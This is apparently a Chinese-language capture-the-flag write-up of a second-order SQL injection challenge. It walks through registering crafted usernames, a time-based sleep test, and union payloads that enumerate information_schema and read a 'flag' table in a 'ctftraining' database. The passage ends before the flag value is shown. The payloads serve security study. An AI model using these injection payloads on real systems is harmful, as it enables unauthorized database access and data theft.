October 2019 Twice SQL Injection
首先查看页面源代码,未发现异常。
梳理一下程序功能逻辑。
- 登录
/?action=login
- 注册
/?action=reg
- 查看信息
/?action=index
- 修改信息
/?action=change
- 退出登录
/?action=logout
看看是否有文件包含。经简单验证后认为没有。
题目名称既然提示是二次注入,那就尝试。
经过测试,发现在注册admin
和admin'#
后,当修改admin'#
的info后,admin
的info也会被修改。
猜测此处的sql语句为
1 | UPDATE table_name SET info_column='$info' WHERE name_column='$name'; |
尝试通过时间盲注,发现确实在注册用户名为admin'||sleep(5)#
的用户后,在登录时产生了延迟。
也就是说可能在登录后查询info操作时也存在sql注入。
1 | SELECT info_column FROM table_name WHERE name_column = '$name' |
再尝试注册admin' union select '1'#
发现union注入是可行的.
注出数据库名为ctftraining。
1 | username='+union+select+group_concat(table_name)+from+information_schema.tables+where+table_schema='ctftraining'#&password=1 |
有flag,news,users表。
1 | username='+union+select+group_concat(column_name)+from+information_schema.columns+where+table_name='flag'#&password=1 |
其中flag表含flag列
1 | username='+union+select+group_concat(flag)+from+flag#&password=1 |
内容为